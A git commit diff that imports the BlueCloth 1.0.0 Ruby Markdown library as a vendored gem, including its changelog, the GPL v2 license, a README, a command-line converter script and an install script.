Initial import

This commit is contained in:
2008-03-02 16:04:34 -03:00
commit 5e4951fa47
798 changed files with 59730 additions and 0 deletions

366
vendor/gems/BlueCloth-1.0.0/CHANGES vendored Normal file
View File

@@ -0,0 +1,366 @@
------------------------------------------------------------------------
r69 | ged | 2004-08-24 22:27:15 -0700 (Tue, 24 Aug 2004) | 2 lines
- Fixed bug introduced by the last bugfix, fixed tests that missed the new bug.
------------------------------------------------------------------------
r68 | ged | 2004-08-24 22:14:37 -0700 (Tue, 24 Aug 2004) | 3 lines
- Tracked down and fixed another regexp engine overflow bug; added a new test,
datafile, and minimal testcase that illustrates it.
------------------------------------------------------------------------
r66 | ged | 2004-08-24 07:57:17 -0700 (Tue, 24 Aug 2004) | 1 line
- Updated to v1.0.0.
------------------------------------------------------------------------
r65 | ged | 2004-08-24 07:56:47 -0700 (Tue, 24 Aug 2004) | 1 line
- Updated to v1.0.0.
------------------------------------------------------------------------
r64 | ged | 2004-08-24 07:53:32 -0700 (Tue, 24 Aug 2004) | 1 line
- Updated to 20040824.
------------------------------------------------------------------------
r63 | ged | 2004-08-24 07:52:05 -0700 (Tue, 24 Aug 2004) | 3 lines
- Added CHANGES.xml to ignore property for root directory.
------------------------------------------------------------------------
r62 | ged | 2004-08-24 07:48:44 -0700 (Tue, 24 Aug 2004) | 7 lines
- Brought list of block-level tags up to date with Markdown 1.0's list
- Propagated fix for overflow to the other two block-match patterns.
- Abstracted list-item patterns out into constants to closer match Markdown's
code and to expose them for use in other code.
- Fixed indentation of <pre> blocks inside blockquotes.
- Added new tests for all of the above.
------------------------------------------------------------------------
r61 | ged | 2004-08-22 12:28:23 -0700 (Sun, 22 Aug 2004) | 5 lines
- Fixed re-engine overflow for all tested cases (thanks to Martin Chase
<stillflame@FaerieMUD.org> for the fix).
- Wrote some additional tests to be sure the block-level html escaper is working
after the above fix.
------------------------------------------------------------------------
r60 | ged | 2004-08-22 12:26:25 -0700 (Sun, 22 Aug 2004) | 2 lines
- Removed skip of overflow test.
------------------------------------------------------------------------
r59 | ged | 2004-08-22 12:24:35 -0700 (Sun, 22 Aug 2004) | 2 lines
- "Fixed" the test case so it overflows again.
------------------------------------------------------------------------
r58 | deveiant | 2004-08-08 22:12:02 -0700 (Sun, 08 Aug 2004) | 2 lines
- Updated to 20040808.
------------------------------------------------------------------------
r57 | deveiant | 2004-08-08 18:16:14 -0700 (Sun, 08 Aug 2004) | 2 lines
- Modified to work from wherever the test is run (RPA compat).
------------------------------------------------------------------------
r56 | deveiant | 2004-08-08 18:15:57 -0700 (Sun, 08 Aug 2004) | 2 lines
- Modified to work from wherever the test is run (RPA compat).
------------------------------------------------------------------------
r55 | deveiant | 2004-08-08 18:15:27 -0700 (Sun, 08 Aug 2004) | 2 lines
- Updated version attribute.
------------------------------------------------------------------------
r54 | deveiant | 2004-08-08 18:14:58 -0700 (Sun, 08 Aug 2004) | 2 lines
- Brought markdown syntax up to date with Markdown 1.0fc1.
------------------------------------------------------------------------
r53 | deveiant | 2004-08-08 18:13:16 -0700 (Sun, 08 Aug 2004) | 2 lines
- Made the require-header work wherever the test is run from (RPA compat).
------------------------------------------------------------------------
r51 | deveiant | 2004-06-21 08:20:59 -0700 (Mon, 21 Jun 2004) | 4 lines
- Brought up to date with Markdown 1.0b7.
- Ignore list properties on the base and docs directories updated.
------------------------------------------------------------------------
r50 | deveiant | 2004-06-02 06:37:15 -0700 (Wed, 02 Jun 2004) | 1 line
- Commented out non-functional --output option for now.
------------------------------------------------------------------------
r49 | deveiant | 2004-06-01 20:30:18 -0700 (Tue, 01 Jun 2004) | 2 lines
Initial checkin.
------------------------------------------------------------------------
r48 | deveiant | 2004-06-01 20:29:31 -0700 (Tue, 01 Jun 2004) | 2 lines
- Added test for bug #574.
------------------------------------------------------------------------
r47 | deveiant | 2004-06-01 20:21:04 -0700 (Tue, 01 Jun 2004) | 8 lines
- Test for bug #620 - Unresolved reference-style links doubled the character
immediately after them.
- Added additional test email addresses, including ones that use extended latin
charset.
- Added bug reference to a test.
------------------------------------------------------------------------
r46 | deveiant | 2004-06-01 20:19:41 -0700 (Tue, 01 Jun 2004) | 4 lines
- Fix for bug #620 - Unresolved reference-style links doubled the character
immediately after them.
------------------------------------------------------------------------
r45 | deveiant | 2004-05-13 19:43:17 -0700 (Thu, 13 May 2004) | 4 lines
- Added tests for bug #568 (Two sets of bold text on one line doesn't render
properly). Tests confirmed that two sets of bold text did work, but single
characters being bolded does not.
------------------------------------------------------------------------
r44 | deveiant | 2004-05-13 19:41:52 -0700 (Thu, 13 May 2004) | 2 lines
- Fixed bug with bolding of single characters (bug #568).
------------------------------------------------------------------------
r43 | deveiant | 2004-05-04 07:35:11 -0700 (Tue, 04 May 2004) | 2 lines
- Additional fixes and tests for bug #537.
------------------------------------------------------------------------
r41 | deveiant | 2004-04-29 20:40:38 -0700 (Thu, 29 Apr 2004) | 2 lines
- Added bin/ directory.
------------------------------------------------------------------------
r40 | deveiant | 2004-04-29 20:40:04 -0700 (Thu, 29 Apr 2004) | 2 lines
- Set date.
------------------------------------------------------------------------
r39 | deveiant | 2004-04-29 20:39:24 -0700 (Thu, 29 Apr 2004) | 3 lines
- Added test for Bug #543 (Safe mode does not work when there are no left
angle-brackets in the source).
------------------------------------------------------------------------
r38 | deveiant | 2004-04-29 20:38:42 -0700 (Thu, 29 Apr 2004) | 5 lines
- Added test for email address encoding (Bug #537).
- Added test for bug #541 (Leading line of codeblock with more than one tab
width of indent mistakenly unindented).
------------------------------------------------------------------------
r37 | deveiant | 2004-04-29 20:35:26 -0700 (Thu, 29 Apr 2004) | 5 lines
- Fix for bug #543 (Safe mode does not work when there are no left
angle-brackets in the source).
------------------------------------------------------------------------
r36 | deveiant | 2004-04-29 20:33:01 -0700 (Thu, 29 Apr 2004) | 5 lines
- Fix for bug #541 (Leading line of codeblock with more than one tab
width of indent mistakenly unindented)
------------------------------------------------------------------------
r35 | deveiant | 2004-04-29 20:31:37 -0700 (Thu, 29 Apr 2004) | 3 lines
- Fix for bug #537. Fix suggested by Marek Janukowicz.
------------------------------------------------------------------------
r32 | deveiant | 2004-04-22 21:47:42 -0700 (Thu, 22 Apr 2004) | 2 lines
- Temporary fixes until I have time to integrate SVN stuff.
------------------------------------------------------------------------
r31 | deveiant | 2004-04-22 21:46:51 -0700 (Thu, 22 Apr 2004) | 2 lines
- Version bump.
------------------------------------------------------------------------
r30 | deveiant | 2004-04-22 21:46:15 -0700 (Thu, 22 Apr 2004) | 2 lines
- Brought in line with most-recent release.
------------------------------------------------------------------------
r29 | deveiant | 2004-04-22 21:40:50 -0700 (Thu, 22 Apr 2004) | 2 lines
- Version bump.
------------------------------------------------------------------------
r28 | deveiant | 2004-04-22 21:39:05 -0700 (Thu, 22 Apr 2004) | 4 lines
- Bugfixes for bugs 524 and 525. Thanks to David Heinemeier Hansson and Javier
Goizueta for bug reports and fixes.
------------------------------------------------------------------------
r27 | deveiant | 2004-04-22 21:34:31 -0700 (Thu, 22 Apr 2004) | 2 lines
- Test for bugs 524 and 525
------------------------------------------------------------------------
r25 | deveiant | 2004-04-15 18:55:19 -0700 (Thu, 15 Apr 2004) | 1 line
- Corrected version
------------------------------------------------------------------------
r24 | deveiant | 2004-04-15 18:53:52 -0700 (Thu, 15 Apr 2004) | 2 lines
- Brought Version up to date.
------------------------------------------------------------------------
r23 | deveiant | 2004-04-15 18:52:17 -0700 (Thu, 15 Apr 2004) | 1 line
- Updated ignore metadata.
------------------------------------------------------------------------
r22 | deveiant | 2004-04-15 18:51:14 -0700 (Thu, 15 Apr 2004) | 2 lines
Initial checkin.
------------------------------------------------------------------------
r21 | deveiant | 2004-04-15 18:50:31 -0700 (Thu, 15 Apr 2004) | 6 lines
- Changed tests/ pattern to catch all tests.
- Added CHANGES.
- Dropped MANIFEST.
------------------------------------------------------------------------
r20 | deveiant | 2004-04-15 18:49:46 -0700 (Thu, 15 Apr 2004) | 2 lines
- Added missing dependency check for devel-logger.
------------------------------------------------------------------------
r19 | deveiant | 2004-04-15 18:49:12 -0700 (Thu, 15 Apr 2004) | 8 lines
- Added contributors section to the header.
- Integrated html- and style-filtering patch from Florian Gross <flgr@ccan.de>.
- Corrections to RedCloth-compatibility.
- Removed log from renderstate, as it's an attribute of the string itself.
------------------------------------------------------------------------
r18 | deveiant | 2004-04-15 18:48:27 -0700 (Thu, 15 Apr 2004) | 8 lines
- Added contributors section to the header.
- Integrated html- and style-filtering patch from Florian Gross <flgr@ccan.de>.
- Corrections to RedCloth-compatibility.
- Removed log from renderstate, as it's an attribute of the string itself.
------------------------------------------------------------------------
r15 | deveiant | 2004-04-11 23:02:54 -0700 (Sun, 11 Apr 2004) | 3 lines
- Added keywords.
------------------------------------------------------------------------
r14 | deveiant | 2004-04-11 23:01:40 -0700 (Sun, 11 Apr 2004) | 2 lines
- Updated comments/added to-do marker.
------------------------------------------------------------------------
r13 | deveiant | 2004-04-11 22:47:16 -0700 (Sun, 11 Apr 2004) | 3 lines
- Updated ignore list.
------------------------------------------------------------------------
r12 | deveiant | 2004-04-11 22:46:49 -0700 (Sun, 11 Apr 2004) | 3 lines
Initial checkin.
------------------------------------------------------------------------
r11 | deveiant | 2004-04-11 22:45:07 -0700 (Sun, 11 Apr 2004) | 3 lines
- Added a time() function for timing bits of code.
------------------------------------------------------------------------
r10 | deveiant | 2004-04-11 22:43:10 -0700 (Sun, 11 Apr 2004) | 3 lines
- Changed keyword constants from CVS to SVN keywords.
------------------------------------------------------------------------
r9 | deveiant | 2004-04-11 22:29:37 -0700 (Sun, 11 Apr 2004) | 3 lines
- Changed location of keyword stuff, added URL keyword.
------------------------------------------------------------------------
r8 | deveiant | 2004-04-11 22:26:38 -0700 (Sun, 11 Apr 2004) | 3 lines
- Added the rest of the content.
------------------------------------------------------------------------
r7 | deveiant | 2004-04-11 22:21:47 -0700 (Sun, 11 Apr 2004) | 12 lines
- Fixed license in header
- Fixed error message in exception class with no second argument.
- Removed unnecessary (and slllooowww) 'm' flag from HTML block matching
patterns.
- Fixed code-span scanning to match spans that occur at the beginning of the
line.
- Fixed error in code-span exception case.
------------------------------------------------------------------------
r6 | deveiant | 2004-04-11 22:17:45 -0700 (Sun, 11 Apr 2004) | 3 lines
- Renamed to reflect repurposing.
------------------------------------------------------------------------
r5 | deveiant | 2004-04-11 22:17:08 -0700 (Sun, 11 Apr 2004) | 2 lines
- Converted to bug-testing testcase.
------------------------------------------------------------------------
r4 | deveiant | 2004-04-11 22:15:34 -0700 (Sun, 11 Apr 2004) | 2 lines
- Added some mode code span tests to catch bugs.
------------------------------------------------------------------------
r3 | deveiant | 2004-04-10 21:40:29 -0700 (Sat, 10 Apr 2004) | 2 lines
- Updated dist/install utilities/libs.
------------------------------------------------------------------------
r2 | deveiant | 2004-04-10 13:36:46 -0700 (Sat, 10 Apr 2004) | 1 line
Removed markdown reference source
------------------------------------------------------------------------
r1 | deveiant | 2004-04-10 13:35:02 -0700 (Sat, 10 Apr 2004) | 1 line
Initial checkin

340
vendor/gems/BlueCloth-1.0.0/LICENSE vendored Normal file
View File

@@ -0,0 +1,340 @@
 GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.

99
vendor/gems/BlueCloth-1.0.0/README vendored Normal file
View File

@@ -0,0 +1,99 @@
BlueCloth
=========
Version 1.0.0 - 2004/08/24
Original version by John Gruber <http://daringfireball.net/>.
Ruby port by Michael Granger <http://www.deveiate.org/>.
BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
tool for web writers. To quote from the project page: Markdown allows you to
write using an easy-to-read, easy-to-write plain text format, then convert it to
structurally valid XHTML (or HTML).
It borrows a naming convention and several helpings of interface from
[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
conversion syntax called [Textile][4].
Installation
------------
You can install this module either by running the included `install.rb` script,
or by simply copying `lib/bluecloth.rb` to a directory in your load path.
Dependencies
------------
BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
versions, and the `logger` library, which is also included in 1.8.x and later.
Example Usage
-------------
The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
bc = BlueCloth::new( str )
puts bc.to_html
This `README` file is an example of Markdown syntax. The sample program
`bluecloth` in the `bin/` directory can be used to convert this (or any other)
file with Markdown syntax into HTML:
$ bin/bluecloth README > README.html
Acknowledgements
----------------
This library is a port of the canonical Perl one, and so owes most of its
functionality to its author, John Gruber. The bugs in this code are most
certainly an artifact of my porting it and not an artifact of the excellent code
from which it is derived.
It also, as mentioned before, borrows its API liberally from RedCloth, both for
compatibility's sake, and because I think Why's code is beautiful. His excellent
code and peerless prose have been an inspiration to me, and this module is
intended as the sincerest flattery.
Also contributing to any success this module may enjoy are those among my peers
who have taken the time to help out, either by submitting patches, testing, or
offering suggestions and review:
* Martin Chase <stillflame@FaerieMUD.org>
* Florian Gross <flgr@ccan.de>
Author/Legal
------------
Original version:
Copyright (c) 2003-2004 John Gruber
<http://daringfireball.net/>
All rights reserved.
Ruby version:
Copyright (c) 2004 The FaerieMUD Consortium
BlueCloth is free software; you can redistribute it and/or modify it under the
terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or (at your option) any later
version.
BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE. See the GNU General Public License for more details.
[1]: http://daringfireball.net/projects/markdown/
[2]: http://www.whytheluckystiff.net/ruby/redcloth/
[3]: http://www.whytheluckystiff.net/
[4]: http://www.textism.com/tools/textile/
$Id: README 65 2004-08-24 14:56:47Z ged $
$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $

View File

@@ -0,0 +1,83 @@
#!/usr/bin/ruby
#
# = bluecloth
#
# Format one or more text files with the markdown formatter.
#
# = Synopsis
#
# bluecloth [OPTIONS] [FILES]
#
#
#
BEGIN {
require 'bluecloth'
require 'optparse'
}
DocumentWrapper = %{
<html>
<head><title>%s</title></head>
<body>
%s
</body>
</html>
}
def main
fragment = false
destination = '.'
ARGV.options do |oparser|
oparser.banner = "Usage: #$0 [OPTIONS] FILES"
# Debug mode
oparser.on( "--debug", "-d", TrueClass, "Turn debugging output on" ) {
$DEBUG = true
}
# 'Fragment' mode
oparser.on( "--fragment", "-f", TrueClass,
"Output HTML fragments instead of whole documents" ) {
fragment = true
}
# Output destination
#oparser.on( "--output=DESTINATION", "-o DESTINATION", String,
# "Write output to DESTINATION instead of the current directory" ) {|arg|
# destination = arg
#}
oparser.parse!
end
# Filter mode if no arguments
ARGV.push( "-" ) if ARGV.empty?
ARGV.each {|file|
if file == '-'
contents = $stdin.readlines(nil)
else
contents = File::readlines( file, nil )
end
bc = BlueCloth::new( contents.join )
if fragment
$stdout.puts bc.to_html
else
$stdout.puts DocumentWrapper % [ file, bc.to_html ]
end
}
rescue => err
$stderr.puts "Aborting: Fatal error: %s" % err.message
exit 255
end
main

3
vendor/gems/BlueCloth-1.0.0/init.rb vendored Normal file
View File

@@ -0,0 +1,3 @@
require File.join(File.dirname(__FILE__), 'lib', 'bluecloth')

150
vendor/gems/BlueCloth-1.0.0/install.rb vendored Normal file
View File

@@ -0,0 +1,150 @@
#!/usr/bin/ruby
#
# BlueCloth Module Install Script
# $Id: install.rb,v 1.3 2003/10/09 13:23:09 deveiant Exp $
#
# Thanks to Masatoshi SEKI for ideas found in his install.rb.
#
# Copyright (c) 2001-2004 The FaerieMUD Consortium.
#
# This is free software. You may use, modify, and/or redistribute this
# software under the terms of the Perl Artistic License. (See
# http://language.perl.com/misc/Artistic.html)
#
require './utils.rb'
include UtilityFunctions
require 'rbconfig'
include Config
require 'find'
require 'ftools'
$version = %q$Revision: 1.3 $
$rcsId = %q$Id: install.rb,v 1.3 2003/10/09 13:23:09 deveiant Exp $
# Define required libraries
RequiredLibraries = [
# libraryname, nice name, RAA URL, Download URL
[ 'strscan', "StrScan",
'http://raa.ruby-lang.org/list.rhtml?name=strscan',
'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
[ 'logger', "Devel-Logger",
'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
]
class Installer
@@PrunePatterns = [
/CVS/,
/~$/,
%r:(^|/)\.:,
/\.tpl$/,
]
def initialize( testing=false )
@ftools = (testing) ? self : File
end
### Make the specified dirs (which can be a String or an Array of Strings)
### with the specified mode.
def makedirs( dirs, mode=0755, verbose=false )
dirs = [ dirs ] unless dirs.is_a? Array
oldumask = File::umask
File::umask( 0777 - mode )
for dir in dirs
if @ftools == File
File::mkpath( dir, $verbose )
else
$stderr.puts "Make path %s with mode %o" % [ dir, mode ]
end
end
File::umask( oldumask )
end
def install( srcfile, dstfile, mode=nil, verbose=false )
dstfile = File.catname(srcfile, dstfile)
unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
$stderr.puts " install #{srcfile} -> #{dstfile}"
else
$stderr.puts " skipping #{dstfile}: unchanged"
end
end
public
def installFiles( src, dstDir, mode=0444, verbose=false )
directories = []
files = []
if File.directory?( src )
Find.find( src ) {|f|
Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
next if f == src
if FileTest.directory?( f )
directories << f.gsub( /^#{src}#{File::Separator}/, '' )
next
elsif FileTest.file?( f )
files << f.gsub( /^#{src}#{File::Separator}/, '' )
else
Find.prune
end
}
else
files << File.basename( src )
src = File.dirname( src )
end
dirs = [ dstDir ]
dirs |= directories.collect {|d| File.join(dstDir,d)}
makedirs( dirs, 0755, verbose )
files.each {|f|
srcfile = File.join(src,f)
dstfile = File.dirname(File.join( dstDir,f ))
if verbose
if mode
$stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
else
$stderr.puts "Install #{srcfile} -> #{dstfile}"
end
end
@ftools.install( srcfile, dstfile, mode, verbose )
}
end
end
if $0 == __FILE__
header "BlueCloth Installer #$version"
for lib in RequiredLibraries
testForRequiredLibrary( *lib )
end
viewOnly = ARGV.include? '-n'
verbose = ARGV.include? '-v'
debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
sitelibdir = CONFIG['sitelibdir']
debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
sitearchdir = CONFIG['sitearchdir']
message "Installing\n"
i = Installer.new( viewOnly )
i.installFiles( "lib", sitelibdir, 0444, verbose )
end

